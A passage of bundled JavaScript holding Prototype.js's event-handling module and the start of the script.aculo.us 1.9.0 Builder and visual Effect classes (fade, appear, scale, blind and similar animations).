						return event.which == 3;
					default:
						return false;
				}
			}
			if (window.attachEvent) {
				if (!window.addEventListener) {
					_isButton = _isButtonForLegacyEvents;
				} else {
					_isButton = function(event, code) {
						return isIELegacyEvent(event) ? _isButtonForLegacyEvents(event, code) : _isButtonForDOMEvents(event, code);
					};
				}
			} else {
				if (Prototype.Browser.WebKit) {
					_isButton = _isButtonForWebKit;
				} else {
					_isButton = _isButtonForDOMEvents;
				}
			}

			function isLeftClick(event) {
				return _isButton(event, 0);
			}

			function isMiddleClick(event) {
				return _isButton(event, 1);
			}

			function isRightClick(event) {
				return _isButton(event, 2);
			}

			function element(event) {
				event = Event.extend(event);
				var node = event.target,
					type = event.type,
					currentTarget = event.currentTarget;
				if (currentTarget && currentTarget.tagName) {
					if (type === "load" || type === "error" || (type === "click" && currentTarget.tagName.toLowerCase() === "input" && currentTarget.type === "radio")) {
						node = currentTarget;
					}
				}
				if (node.nodeType == Node.TEXT_NODE) {
					node = node.parentNode;
				}
				return Element.extend(node);
			}

			function findElement(event, expression) {
				var element = Event.element(event);
				if (!expression) {
					return element;
				}
				while (element) {
					if (Object.isElement(element) && Prototype.Selector.match(element, expression)) {
						return Element.extend(element);
					}
					element = element.parentNode;
				}
			}

			function pointer(event) {
				return {
					x: pointerX(event),
					y: pointerY(event)
				};
			}

			function pointerX(event) {
				var docElement = document.documentElement,
					body = document.body || {
						scrollLeft: 0
					};
				return event.pageX || (event.clientX + (docElement.scrollLeft || body.scrollLeft) - (docElement.clientLeft || 0));
			}

			function pointerY(event) {
				var docElement = document.documentElement,
					body = document.body || {
						scrollTop: 0
					};
				return event.pageY || (event.clientY + (docElement.scrollTop || body.scrollTop) - (docElement.clientTop || 0));
			}

			function stop(event) {
				Event.extend(event);
				event.preventDefault();
				event.stopPropagation();
				event.stopped = true;
			}
			Event.Methods = {
				isLeftClick: isLeftClick,
				isMiddleClick: isMiddleClick,
				isRightClick: isRightClick,
				element: element,
				findElement: findElement,
				pointer: pointer,
				pointerX: pointerX,
				pointerY: pointerY,
				stop: stop
			};
			var methods = Object.keys(Event.Methods).inject({}, function(m, name) {
				m[name] = Event.Methods[name].methodize();
				return m;
			});
			if (window.attachEvent) {
				function _relatedTarget(event) {
					var element;
					switch (event.type) {
						case "mouseover":
						case "mouseenter":
							element = event.fromElement;
							break;
						case "mouseout":
						case "mouseleave":
							element = event.toElement;
							break;
						default:
							return null;
					}
					return Element.extend(element);
				}
				var additionalMethods = {
					stopPropagation: function() {
						this.cancelBubble = true;
					},
					preventDefault: function() {
						this.returnValue = false;
					},
					inspect: function() {
						return "[object Event]";
					}
				};
				Event.extend = function(event, element) {
					if (!event) {
						return false;
					}
					if (!isIELegacyEvent(event)) {
						return event;
					}
					if (event._extendedByPrototype) {
						return event;
					}
					event._extendedByPrototype = Prototype.emptyFunction;
					var pointer = Event.pointer(event);
					Object.extend(event, {
						target: event.srcElement || element,
						relatedTarget: _relatedTarget(event),
						pageX: pointer.x,
						pageY: pointer.y
					});
					Object.extend(event, methods);
					Object.extend(event, additionalMethods);
					return event;
				};
			} else {
				Event.extend = Prototype.K;
			} if (window.addEventListener) {
				Event.prototype = window.Event.prototype || document.createEvent("HTMLEvents").__proto__;
				Object.extend(Event.prototype, methods);
			}

			function _createResponder(element, eventName, handler) {
				var registry = Element.retrieve(element, "prototype_event_registry");
				if (Object.isUndefined(registry)) {
					CACHE.push(element);
					registry = Element.retrieve(element, "prototype_event_registry", $H());
				}
				var respondersForEvent = registry.get(eventName);
				if (Object.isUndefined(respondersForEvent)) {
					respondersForEvent = [];
					registry.set(eventName, respondersForEvent);
				}
				if (respondersForEvent.pluck("handler").include(handler)) {
					return false;
				}
				var responder;
				if (eventName.include(":")) {
					responder = function(event) {
						if (Object.isUndefined(event.eventName)) {
							return false;
						}
						if (event.eventName !== eventName) {
							return false;
						}
						Event.extend(event, element);
						handler.call(element, event);
					};
				} else {
					if (!MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED && (eventName === "mouseenter" || eventName === "mouseleave")) {
						if (eventName === "mouseenter" || eventName === "mouseleave") {
							responder = function(event) {
								Event.extend(event, element);
								var parent = event.relatedTarget;
								while (parent && parent !== element) {
									try {
										parent = parent.parentNode;
									} catch (e) {
										parent = element;
									}
								}
								if (parent === element) {
									return;
								}
								handler.call(element, event);
							};
						}
					} else {
						responder = function(event) {
							Event.extend(event, element);
							handler.call(element, event);
						};
					}
				}
				responder.handler = handler;
				respondersForEvent.push(responder);
				return responder;
			}

			function _destroyCache() {
				for (var i = 0, length = CACHE.length; i < length; i++) {
					Event.stopObserving(CACHE[i]);
					CACHE[i] = null;
				}
			}
			var CACHE = [];
			if (Prototype.Browser.IE) {
				window.attachEvent("onunload", _destroyCache);
			}
			if (Prototype.Browser.WebKit) {
				window.addEventListener("unload", Prototype.emptyFunction, false);
			}
			var _getDOMEventName = Prototype.K,
				translations = {
					mouseenter: "mouseover",
					mouseleave: "mouseout"
				};
			if (!MOUSEENTER_MOUSELEAVE_EVENTS_SUPPORTED) {
				_getDOMEventName = function(eventName) {
					return (translations[eventName] || eventName);
				};
			}

			function observe(element, eventName, handler) {
				element = $(element);
				var responder = _createResponder(element, eventName, handler);
				if (!responder) {
					return element;
				}
				if (eventName.include(":")) {
					if (element.addEventListener) {
						element.addEventListener("dataavailable", responder, false);
					} else {
						element.attachEvent("ondataavailable", responder);
						element.attachEvent("onlosecapture", responder);
					}
				} else {
					var actualEventName = _getDOMEventName(eventName);
					if (element.addEventListener) {
						element.addEventListener(actualEventName, responder, false);
					} else {
						element.attachEvent("on" + actualEventName, responder);
					}
				}
				return element;
			}

			function stopObserving(element, eventName, handler) {
				element = $(element);
				var registry = Element.retrieve(element, "prototype_event_registry");
				if (!registry) {
					return element;
				}
				if (!eventName) {
					registry.each(function(pair) {
						var eventName = pair.key;
						stopObserving(element, eventName);
					});
					return element;
				}
				var responders = registry.get(eventName);
				if (!responders) {
					return element;
				}
				if (!handler) {
					responders.each(function(r) {
						stopObserving(element, eventName, r.handler);
					});
					return element;
				}
				var i = responders.length,
					responder;
				while (i--) {
					if (responders[i].handler === handler) {
						responder = responders[i];
						break;
					}
				}
				if (!responder) {
					return element;
				}
				if (eventName.include(":")) {
					if (element.removeEventListener) {
						element.removeEventListener("dataavailable", responder, false);
					} else {
						element.detachEvent("ondataavailable", responder);
						element.detachEvent("onlosecapture", responder);
					}
				} else {
					var actualEventName = _getDOMEventName(eventName);
					if (element.removeEventListener) {
						element.removeEventListener(actualEventName, responder, false);
					} else {
						element.detachEvent("on" + actualEventName, responder);
					}
				}
				registry.set(eventName, responders.without(responder));
				return element;
			}

			function fire(element, eventName, memo, bubble) {
				element = $(element);
				if (Object.isUndefined(bubble)) {
					bubble = true;
				}
				if (element == document && document.createEvent && !element.dispatchEvent) {
					element = document.documentElement;
				}
				var event;
				if (document.createEvent) {
					event = document.createEvent("HTMLEvents");
					event.initEvent("dataavailable", bubble, true);
				} else {
					event = document.createEventObject();
					event.eventType = bubble ? "ondataavailable" : "onlosecapture";
				}
				event.eventName = eventName;
				event.memo = memo || {};
				if (document.createEvent) {
					element.dispatchEvent(event);
				} else {
					element.fireEvent(event.eventType, event);
				}
				return Event.extend(event);
			}
			Event.Handler = Class.create({
				initialize: function(element, eventName, selector, callback) {
					this.element = $(element);
					this.eventName = eventName;
					this.selector = selector;
					this.callback = callback;
					this.handler = this.handleEvent.bind(this);
				},
				start: function() {
					Event.observe(this.element, this.eventName, this.handler);
					return this;
				},
				stop: function() {
					Event.stopObserving(this.element, this.eventName, this.handler);
					return this;
				},
				handleEvent: function(event) {
					var element = Event.findElement(event, this.selector);
					if (element) {
						this.callback.call(this.element, event, element);
					}
				}
			});

			function on(element, eventName, selector, callback) {
				element = $(element);
				if (Object.isFunction(selector) && Object.isUndefined(callback)) {
					callback = selector, selector = null;
				}
				return new Event.Handler(element, eventName, selector, callback).start();
			}
			Object.extend(Event, Event.Methods);
			Object.extend(Event, {
				fire: fire,
				observe: observe,
				stopObserving: stopObserving,
				on: on
			});
			Element.addMethods({
				fire: fire,
				observe: observe,
				stopObserving: stopObserving,
				on: on
			});
			Object.extend(document, {
				fire: fire.methodize(),
				observe: observe.methodize(),
				stopObserving: stopObserving.methodize(),
				on: on.methodize(),
				loaded: false
			});
			if (window.Event) {
				Object.extend(window.Event, Event);
			} else {
				window.Event = Event;
			}
		})();
		(function() {
			var timer;

			function fireContentLoadedEvent() {
				if (document.loaded) {
					return;
				}
				if (timer) {
					window.clearTimeout(timer);
				}
				document.loaded = true;
				document.fire("dom:loaded");
			}

			function checkReadyState() {
				if (document.readyState === "complete") {
					document.stopObserving("readystatechange", checkReadyState);
					fireContentLoadedEvent();
				}
			}

			function pollDoScroll() {
				try {
					document.documentElement.doScroll("left");
				} catch (e) {
					timer = pollDoScroll.defer();
					return;
				}
				fireContentLoadedEvent();
			}
			if (document.addEventListener) {
				document.addEventListener("DOMContentLoaded", fireContentLoadedEvent, false);
			} else {
				document.observe("readystatechange", checkReadyState);
				if (window == top) {
					timer = pollDoScroll.defer();
				}
			}
			Event.observe(window, "load", fireContentLoadedEvent);
		})();
		Element.addMethods();
		/* script.aculo.us scriptaculous.js v1.9.0, Thu Dec 23 16:54:48 -0500 2010, (c)2005-2010 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) */
		var Builder = {
			NODEMAP: {
				AREA: "map",
				CAPTION: "table",
				COL: "table",
				COLGROUP: "table",
				LEGEND: "fieldset",
				OPTGROUP: "select",
				OPTION: "select",
				PARAM: "object",
				TBODY: "table",
				TD: "table",
				TFOOT: "table",
				TH: "table",
				THEAD: "table",
				TR: "table"
			},
			node: function(elementName) {
				elementName = elementName.toUpperCase();
				var parentTag = this.NODEMAP[elementName] || "div";
				var parentElement = document.createElement(parentTag);
				try {
					parentElement.innerHTML = "<" + elementName + "></" + elementName + ">";
				} catch (e) {}
				var element = parentElement.firstChild || null;
				if (element && (element.tagName.toUpperCase() != elementName)) {
					element = element.getElementsByTagName(elementName)[0];
				}
				if (!element) {
					element = document.createElement(elementName);
				}
				if (!element) {
					return;
				}
				if (arguments[1]) {
					if (this._isStringOrNumber(arguments[1]) || (arguments[1] instanceof Array) || arguments[1].tagName) {
						this._children(element, arguments[1]);
					} else {
						var attrs = this._attributes(arguments[1]);
						if (attrs.length) {
							try {
								parentElement.innerHTML = "<" + elementName + " " + attrs + "></" + elementName + ">";
							} catch (e) {}
							element = parentElement.firstChild || null;
							if (!element) {
								element = document.createElement(elementName);
								for (attr in arguments[1]) {
									element[attr == "class" ? "className" : attr] = arguments[1][attr];
								}
							}
							if (element.tagName.toUpperCase() != elementName) {
								element = parentElement.getElementsByTagName(elementName)[0];
							}
						}
					}
				}
				if (arguments[2]) {
					this._children(element, arguments[2]);
				}
				return $(element);
			},
			_text: function(text) {
				return document.createTextNode(text);
			},
			ATTR_MAP: {
				"className": "class",
				"htmlFor": "for"
			},
			_attributes: function(attributes) {
				var attrs = [];
				for (attribute in attributes) {
					attrs.push((attribute in this.ATTR_MAP ? this.ATTR_MAP[attribute] : attribute) + '="' + attributes[attribute].toString().escapeHTML().gsub(/"/, "&quot;") + '"');
				}
				return attrs.join(" ");
			},
			_children: function(element, children) {
				if (children.tagName) {
					element.appendChild(children);
					return;
				}
				if (typeof children == "object") {
					children.flatten().each(function(e) {
						if (typeof e == "object") {
							element.appendChild(e);
						} else {
							if (Builder._isStringOrNumber(e)) {
								element.appendChild(Builder._text(e));
							}
						}
					});
				} else {
					if (Builder._isStringOrNumber(children)) {
						element.appendChild(Builder._text(children));
					}
				}
			},
			_isStringOrNumber: function(param) {
				return (typeof param == "string" || typeof param == "number");
			},
			build: function(html) {
				var element = this.node("div");
				Element.update($(element), html.strip());
				return Element.down(element);
			},
			dump: function(scope) {
				if (typeof scope != "object" && typeof scope != "function") {
					scope = window;
				}
				var tags = ("A ABBR ACRONYM ADDRESS APPLET AREA B BASE BASEFONT BDO BIG BLOCKQUOTE BODY " + "BR BUTTON CAPTION CENTER CITE CODE COL COLGROUP DD DEL DFN DIR DIV DL DT EM FIELDSET " + "FONT FORM FRAME FRAMESET H1 H2 H3 H4 H5 H6 HEAD HR HTML I IFRAME IMG INPUT INS ISINDEX " + "KBD LABEL LEGEND LI LINK MAP MENU META NOFRAMES NOSCRIPT OBJECT OL OPTGROUP OPTION P " + "PARAM PRE Q S SAMP SCRIPT SELECT SMALL SPAN STRIKE STRONG STYLE SUB SUP TABLE TBODY TD " + "TEXTAREA TFOOT TH THEAD TITLE TR TT U UL VAR").split(/\s+/);
				tags.each(function(tag) {
					scope[tag] = function() {
						return Builder.node.apply(Builder, [tag].concat($A(arguments)));
					};
				});
			}
		};
		String.prototype.parseColor = function() {
			var color = "#";
			if (this.slice(0, 4) == "rgb(") {
				var cols = this.slice(4, this.length - 1).split(",");
				var i = 0;
				do {
					color += parseInt(cols[i]).toColorPart();
				} while (++i < 3);
			} else {
				if (this.slice(0, 1) == "#") {
					if (this.length == 4) {
						for (var i = 1; i < 4; i++) {
							color += (this.charAt(i) + this.charAt(i)).toLowerCase();
						}
					}
					if (this.length == 7) {
						color = this.toLowerCase();
					}
				}
			}
			return (color.length == 7 ? color : (arguments[0] || this));
		};
		Element.collectTextNodes = function(element) {
			return $A($(element).childNodes).collect(function(node) {
				return (node.nodeType == 3 ? node.nodeValue : (node.hasChildNodes() ? Element.collectTextNodes(node) : ""));
			}).flatten().join("");
		};
		Element.collectTextNodesIgnoreClass = function(element, className) {
			return $A($(element).childNodes).collect(function(node) {
				return (node.nodeType == 3 ? node.nodeValue : ((node.hasChildNodes() && !Element.hasClassName(node, className)) ? Element.collectTextNodesIgnoreClass(node, className) : ""));
			}).flatten().join("");
		};
		Element.setContentZoom = function(element, percent) {
			element = $(element);
			Element.setStyle(element, {
				fontSize: (percent / 100) + "em"
			});
			if (Prototype.Browser.WebKit) {
				window.scrollBy(0, 0);
			}
			return element;
		};
		Element.getInlineOpacity = function(element) {
			return $(element).style.opacity || "";
		};
		Element.forceRerendering = function(element) {
			try {
				element = $(element);
				var n = document.createTextNode(" ");
				element.appendChild(n);
				element.removeChild(n);
			} catch (e) {}
		};
		var Effect = {
			_elementDoesNotExistError: {
				name: "ElementDoesNotExistError",
				message: "The specified DOM element does not exist, but is required for this effect to operate"
			},
			Transitions: {
				linear: Prototype.K,
				sinoidal: function(pos) {
					return (-Math.cos(pos * Math.PI) / 2) + 0.5;
				},
				reverse: function(pos) {
					return 1 - pos;
				},
				flicker: function(pos) {
					var pos = ((-Math.cos(pos * Math.PI) / 4) + 0.75) + Math.random() / 4;
					return pos > 1 ? 1 : pos;
				},
				wobble: function(pos) {
					return (-Math.cos(pos * Math.PI * (9 * pos)) / 2) + 0.5;
				},
				pulse: function(pos, pulses) {
					return (-Math.cos((pos * ((pulses || 5) - 0.5) * 2) * Math.PI) / 2) + 0.5;
				},
				spring: function(pos) {
					return 1 - (Math.cos(pos * 4.5 * Math.PI) * Math.exp(-pos * 6));
				},
				none: function(pos) {
					return 0;
				},
				full: function(pos) {
					return 1;
				}
			},
			DefaultOptions: {
				duration: 1,
				fps: 100,
				sync: false,
				from: 0,
				to: 1,
				delay: 0,
				queue: "parallel"
			},
			tagifyText: function(element) {
				var tagifyStyle = "position:relative";
				if (Prototype.Browser.IE) {
					tagifyStyle += ";zoom:1";
				}
				element = $(element);
				$A(element.childNodes).each(function(child) {
					if (child.nodeType == 3) {
						child.nodeValue.toArray().each(function(character) {
							element.insertBefore(new Element("span", {
								style: tagifyStyle
							}).update(character == " " ? String.fromCharCode(160) : character), child);
						});
						Element.remove(child);
					}
				});
			},
			multiple: function(element, effect) {
				var elements;
				if (((typeof element == "object") || Object.isFunction(element)) && (element.length)) {
					elements = element;
				} else {
					elements = $(element).childNodes;
				}
				var options = Object.extend({
					speed: 0.1,
					delay: 0
				}, arguments[2] || {});
				var masterDelay = options.delay;
				$A(elements).each(function(element, index) {
					new effect(element, Object.extend(options, {
						delay: index * options.speed + masterDelay
					}));
				});
			},
			PAIRS: {
				"slide": ["SlideDown", "SlideUp"],
				"blind": ["BlindDown", "BlindUp"],
				"appear": ["Appear", "Fade"]
			},
			toggle: function(element, effect, options) {
				element = $(element);
				effect = (effect || "appear").toLowerCase();
				return Effect[Effect.PAIRS[effect][element.visible() ? 1 : 0]](element, Object.extend({
					queue: {
						position: "end",
						scope: (element.id || "global"),
						limit: 1
					}
				}, options || {}));
			}
		};
		Effect.DefaultOptions.transition = Effect.Transitions.sinoidal;
		Effect.ScopedQueue = Class.create(Enumerable, {
			initialize: function() {
				this.effects = [];
				this.interval = null;
			},
			_each: function(iterator) {
				this.effects._each(iterator);
			},
			add: function(effect) {
				var timestamp = new Date().getTime();
				var position = Object.isString(effect.options.queue) ? effect.options.queue : effect.options.queue.position;
				switch (position) {
					case "front":
						this.effects.findAll(function(e) {
							return e.state == "idle";
						}).each(function(e) {
							e.startOn += effect.finishOn;
							e.finishOn += effect.finishOn;
						});
						break;
					case "with-last":
						timestamp = this.effects.pluck("startOn").max() || timestamp;
						break;
					case "end":
						timestamp = this.effects.pluck("finishOn").max() || timestamp;
						break;
				}
				effect.startOn += timestamp;
				effect.finishOn += timestamp;
				if (!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit)) {
					this.effects.push(effect);
				}
				if (!this.interval) {
					this.interval = setInterval(this.loop.bind(this), 15);
				}
			},
			remove: function(effect) {
				this.effects = this.effects.reject(function(e) {
					return e == effect;
				});
				if (this.effects.length == 0) {
					clearInterval(this.interval);
					this.interval = null;
				}
			},
			loop: function() {
				var timePos = new Date().getTime();
				for (var i = 0, len = this.effects.length; i < len; i++) {
					this.effects[i] && this.effects[i].loop(timePos);
				}
			}
		});
		Effect.Queues = {
			instances: $H(),
			get: function(queueName) {
				if (!Object.isString(queueName)) {
					return queueName;
				}
				return this.instances.get(queueName) || this.instances.set(queueName, new Effect.ScopedQueue());
			}
		};
		Effect.Queue = Effect.Queues.get("global");
		Effect.Base = Class.create({
			position: null,
			start: function(options) {
				if (options && options.transition === false) {
					options.transition = Effect.Transitions.linear;
				}
				this.options = Object.extend(Object.extend({}, Effect.DefaultOptions), options || {});
				this.currentFrame = 0;
				this.state = "idle";
				this.startOn = this.options.delay * 1000;
				this.finishOn = this.startOn + (this.options.duration * 1000);
				this.fromToDelta = this.options.to - this.options.from;
				this.totalTime = this.finishOn - this.startOn;
				this.totalFrames = this.options.fps * this.options.duration;
				this.render = (function() {
					function dispatch(effect, eventName) {
						if (effect.options[eventName + "Internal"]) {
							effect.options[eventName + "Internal"](effect);
						}
						if (effect.options[eventName]) {
							effect.options[eventName](effect);
						}
					}
					return function(pos) {
						if (this.state === "idle") {
							this.state = "running";
							dispatch(this, "beforeSetup");
							if (this.setup) {
								this.setup();
							}
							dispatch(this, "afterSetup");
						}
						if (this.state === "running") {
							pos = (this.options.transition(pos) * this.fromToDelta) + this.options.from;
							this.position = pos;
							dispatch(this, "beforeUpdate");
							if (this.update) {
								this.update(pos);
							}
							dispatch(this, "afterUpdate");
						}
					};
				})();
				this.event("beforeStart");
				if (!this.options.sync) {
					Effect.Queues.get(Object.isString(this.options.queue) ? "global" : this.options.queue.scope).add(this);
				}
			},
			loop: function(timePos) {
				if (timePos >= this.startOn) {
					if (timePos >= this.finishOn) {
						this.render(1);
						this.cancel();
						this.event("beforeFinish");
						if (this.finish) {
							this.finish();
						}
						this.event("afterFinish");
						return;
					}
					var pos = (timePos - this.startOn) / this.totalTime,
						frame = (pos * this.totalFrames).round();
					if (frame > this.currentFrame) {
						this.render(pos);
						this.currentFrame = frame;
					}
				}
			},
			cancel: function() {
				if (!this.options.sync) {
					Effect.Queues.get(Object.isString(this.options.queue) ? "global" : this.options.queue.scope).remove(this);
				}
				this.state = "finished";
			},
			event: function(eventName) {
				if (this.options[eventName + "Internal"]) {
					this.options[eventName + "Internal"](this);
				}
				if (this.options[eventName]) {
					this.options[eventName](this);
				}
			},
			inspect: function() {
				var data = $H();
				for (property in this) {
					if (!Object.isFunction(this[property])) {
						data.set(property, this[property]);
					}
				}
				return "#<Effect:" + data.inspect() + ",options:" + $H(this.options).inspect() + ">";
			}
		});
		Effect.Parallel = Class.create(Effect.Base, {
			initialize: function(effects) {
				this.effects = effects || [];
				this.start(arguments[1]);
			},
			update: function(position) {
				this.effects.invoke("render", position);
			},
			finish: function(position) {
				this.effects.each(function(effect) {
					effect.render(1);
					effect.cancel();
					effect.event("beforeFinish");
					if (effect.finish) {
						effect.finish(position);
					}
					effect.event("afterFinish");
				});
			}
		});
		Effect.Tween = Class.create(Effect.Base, {
			initialize: function(object, from, to) {
				object = Object.isString(object) ? $(object) : object;
				var args = $A(arguments),
					method = args.last(),
					options = args.length == 5 ? args[3] : null;
				this.method = Object.isFunction(method) ? method.bind(object) : Object.isFunction(object[method]) ? object[method].bind(object) : function(value) {
					object[method] = value;
				};
				this.start(Object.extend({
					from: from,
					to: to
				}, options || {}));
			},
			update: function(position) {
				this.method(position);
			}
		});
		Effect.Event = Class.create(Effect.Base, {
			initialize: function() {
				this.start(Object.extend({
					duration: 0
				}, arguments[0] || {}));
			},
			update: Prototype.emptyFunction
		});
		Effect.Opacity = Class.create(Effect.Base, {
			initialize: function(element) {
				this.element = $(element);
				if (!this.element) {
					throw (Effect._elementDoesNotExistError);
				}
				if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout)) {
					Element.setStyle(this.element, {
						zoom: 1
					});
				}
				var options = Object.extend({
					from: Element.getOpacity(this.element) || 0,
					to: 1
				}, arguments[1] || {});
				this.start(options);
			},
			update: function(position) {
				Element.setOpacity(this.element, position);
			}
		});
		Effect.Move = Class.create(Effect.Base, {
			initialize: function(element) {
				this.element = $(element);
				if (!this.element) {
					throw (Effect._elementDoesNotExistError);
				}
				var options = Object.extend({
					x: 0,
					y: 0,
					mode: "relative"
				}, arguments[1] || {});
				this.start(options);
			},
			setup: function() {
				Element.makePositioned(this.element);
				this.originalLeft = parseFloat(Element.getStyle(this.element, "left") || "0");
				this.originalTop = parseFloat(Element.getStyle(this.element, "top") || "0");
				if (this.options.mode == "absolute") {
					this.options.x = this.options.x - this.originalLeft;
					this.options.y = this.options.y - this.originalTop;
				}
			},
			update: function(position) {
				Element.setStyle(this.element, {
					left: (this.options.x * position + this.originalLeft).round() + "px",
					top: (this.options.y * position + this.originalTop).round() + "px"
				});
			}
		});
		Effect.MoveBy = function(element, toTop, toLeft) {
			return new Effect.Move(element, Object.extend({
				x: toLeft,
				y: toTop
			}, arguments[3] || {}));
		};
		Effect.Scale = Class.create(Effect.Base, {
			initialize: function(element, percent) {
				this.element = $(element);
				if (!this.element) {
					throw (Effect._elementDoesNotExistError);
				}
				var options = Object.extend({
					scaleX: true,
					scaleY: true,
					scaleContent: true,
					scaleFromCenter: false,
					scaleMode: "box",
					scaleFrom: 100,
					scaleTo: percent
				}, arguments[2] || {});
				this.start(options);
			},
			setup: function() {
				this.restoreAfterFinish = this.options.restoreAfterFinish || false;
				this.elementPositioning = Element.getStyle(this.element, "position");
				this.originalStyle = {};
				["top", "left", "width", "height", "fontSize"].each(function(k) {
					this.originalStyle[k] = this.element.style[k];
				}.bind(this));
				this.originalTop = this.element.offsetTop;
				this.originalLeft = this.element.offsetLeft;
				var fontSize = Element.getStyle(this.element, "font-size") || "100%";
				["em", "px", "%", "pt"].each(function(fontSizeType) {
					if (fontSize.indexOf(fontSizeType) > 0) {
						this.fontSize = parseFloat(fontSize);
						this.fontSizeType = fontSizeType;
					}
				}.bind(this));
				this.factor = (this.options.scaleTo - this.options.scaleFrom) / 100;
				this.dims = null;
				if (this.options.scaleMode == "box") {
					this.dims = [this.element.offsetHeight, this.element.offsetWidth];
				}
				if (/^content/.test(this.options.scaleMode)) {
					this.dims = [this.element.scrollHeight, this.element.scrollWidth];
				}
				if (!this.dims) {
					this.dims = [this.options.scaleMode.originalHeight, this.options.scaleMode.originalWidth];
				}
			},
			update: function(position) {
				var currentScale = (this.options.scaleFrom / 100) + (this.factor * position);
				if (this.options.scaleContent && this.fontSize) {
					Element.setStyle(this.element, {
						fontSize: this.fontSize * currentScale + this.fontSizeType
					});
				}
				this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale);
			},
			finish: function(position) {
				if (this.restoreAfterFinish) {
					Element.setStyle(this.element, this.originalStyle);
				}
			},
			setDimensions: function(height, width) {
				var d = {};
				if (this.options.scaleX) {
					d.width = width.round() + "px";
				}
				if (this.options.scaleY) {
					d.height = height.round() + "px";
				}
				if (this.options.scaleFromCenter) {
					var topd = (height - this.dims[0]) / 2;
					var leftd = (width - this.dims[1]) / 2;
					if (this.elementPositioning == "absolute") {
						if (this.options.scaleY) {
							d.top = this.originalTop - topd + "px";
						}
						if (this.options.scaleX) {
							d.left = this.originalLeft - leftd + "px";
						}
					} else {
						if (this.options.scaleY) {
							d.top = -topd + "px";
						}
						if (this.options.scaleX) {
							d.left = -leftd + "px";
						}
					}
				}
				Element.setStyle(this.element, d);
			}
		});
		Effect.Highlight = Class.create(Effect.Base, {
			initialize: function(element) {
				this.element = $(element);
				if (!this.element) {
					throw (Effect._elementDoesNotExistError);
				}
				var options = Object.extend({
					startcolor: "#ffff99"
				}, arguments[1] || {});
				this.start(options);
			},
			setup: function() {
				if (Element.getStyle(this.element, "display") == "none") {
					this.cancel();
					return;
				}
				this.oldStyle = {};
				if (!this.options.keepBackgroundImage) {
					this.oldStyle.backgroundImage = Element.getStyle(this.element, "background-image");
					Element.setStyle(this.element, {
						backgroundImage: "none"
					});
				}
				if (!this.options.endcolor) {
					this.options.endcolor = Element.getStyle(this.element, "background-color").parseColor("#ffffff");
				}
				if (!this.options.restorecolor) {
					this.options.restorecolor = Element.getStyle(this.element, "background-color");
				}
				this._base = $R(0, 2).map(function(i) {
					return parseInt(this.options.startcolor.slice(i * 2 + 1, i * 2 + 3), 16);
				}.bind(this));
				this._delta = $R(0, 2).map(function(i) {
					return parseInt(this.options.endcolor.slice(i * 2 + 1, i * 2 + 3), 16) - this._base[i];
				}.bind(this));
			},
			update: function(position) {
				Element.setStyle(this.element, {
					backgroundColor: $R(0, 2).inject("#", function(m, v, i) {
						return m + ((this._base[i] + (this._delta[i] * position)).round().toColorPart());
					}.bind(this))
				});
			},
			finish: function() {
				Element.setStyle(this.element, Object.extend(this.oldStyle, {
					backgroundColor: this.options.restorecolor
				}));
			}
		});
		Effect.ScrollTo = function(element) {
			var options = arguments[1] || {}, scrollOffsets = document.viewport.getScrollOffsets(),
				elementOffsets = Element.cumulativeOffset($(element));
			if (options.offset) {
				elementOffsets[1] += options.offset;
			}
			return new Effect.Tween(null, scrollOffsets.top, elementOffsets[1], options, function(p) {
				scrollTo(scrollOffsets.left, p.round());
			});
		};
		Effect.Fade = function(element) {
			element = $(element);
			var oldOpacity = Element.getInlineOpacity(element);
			var options = Object.extend({
				from: Element.getOpacity(element) || 1,
				to: 0,
				afterFinishInternal: function(effect) {
					if (effect.options.to != 0) {
						return;
					}
					Element.setStyle(Element.hide(effect.element), {
						opacity: oldOpacity
					});
				}
			}, arguments[1] || {});
			return new Effect.Opacity(element, options);
		};
		Effect.Appear = function(element) {
			element = $(element);
			var options = Object.extend({
				from: (Element.getStyle(element, "display") == "none" ? 0 : Element.getOpacity(element) || 0),
				to: 1,
				afterFinishInternal: function(effect) {
					effect.element.forceRerendering();
				},
				beforeSetup: function(effect) {
					Element.show(Element.setOpacity(effect.element, effect.options.from));
				}
			}, arguments[1] || {});
			return new Effect.Opacity(element, options);
		};
		Effect.Puff = function(element) {
			element = $(element);
			var oldStyle = {
				opacity: Element.getInlineOpacity(element),
				position: Element.getStyle(element, "position"),
				top: element.style.top,
				left: element.style.left,
				width: element.style.width,
				height: element.style.height
			};
			return new Effect.Parallel([new Effect.Scale(element, 200, {
				sync: true,
				scaleFromCenter: true,
				scaleContent: true,
				restoreAfterFinish: true
			}), new Effect.Opacity(element, {
				sync: true,
				to: 0
			})], Object.extend({
				duration: 1,
				beforeSetupInternal: function(effect) {
					Element.absolutize(effect.effects[0].element);
				},
				afterFinishInternal: function(effect) {
					Element.setStyle(Element.hide(effect.effects[0].element), oldStyle);
				}
			}, arguments[1] || {}));
		};
		Effect.BlindUp = function(element) {
			element = $(element);
			Element.makeClipping(element);
			return new Effect.Scale(element, 0, Object.extend({
				scaleContent: false,
				scaleX: false,
				restoreAfterFinish: true,
				afterFinishInternal: function(effect) {
					Element.undoClipping(Element.hide(effect.element));
				}
			}, arguments[1] || {}));
		};
		Effect.BlindDown = function(element) {
			element = $(element);
			var elementDimensions = Element.getDimensions(element);
			return new Effect.Scale(element, 100, Object.extend({
				scaleContent: false,
				scaleX: false,
				scaleFrom: 0,
				scaleMode: {
					originalHeight: elementDimensions.height,
					originalWidth: elementDimensions.width
				},
				restoreAfterFinish: true,
				afterSetup: function(effect) {
					Element.show(Element.setStyle(Element.makeClipping(effect.element), {
						height: "0px"
					}));
				},
				afterFinishInternal: function(effect) {
					Element.undoClipping(effect.element);
				}
			}, arguments[1] || {}));
		};
		Effect.SwitchOff = function(element) {
			element = $(element);
			var oldOpacity = Element.getInlineOpacity(element);
			return new Effect.Appear(element, Object.extend({
				duration: 0.4,
				from: 0,
				transition: Effect.Transitions.flicker,
				afterFinishInternal: function(effect) {
					new Effect.Scale(effect.element, 1, {
						duration: 0.3,
						scaleFromCenter: true,
						scaleX: false,
						scaleContent: false,
						restoreAfterFinish: true,
						beforeSetup: function(effect) {
							Element.makeClipping(Element.makePositioned(effect.element));
						},
						afterFinishInternal: function(effect) {
							Element.setStyle(Element.undoPositioned(Element.undoClipping(Element.hide(effect.element))), {
								opacity: oldOpacity
							});
						}
					});
				}
			}, arguments[1] || {}));
		};
